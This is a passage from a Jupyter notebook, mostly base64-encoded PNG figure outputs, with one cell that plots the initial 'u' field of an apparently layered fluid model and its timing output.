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", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "%time initial_conditions.plot(\"u\", eta=0, layer_contours=True)" ] }, { "cell_type": "code", "execution_count": 20, "id": "55132b19-14ec-4b29-a903-9ced1ab466d7", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 3.25 sms\n", "CPU times: user 5min 35s, sys: 496 ms, total: 5min 36s\n", "Wall time: 3.3 s\n" ] }, { "data": { "image/png": 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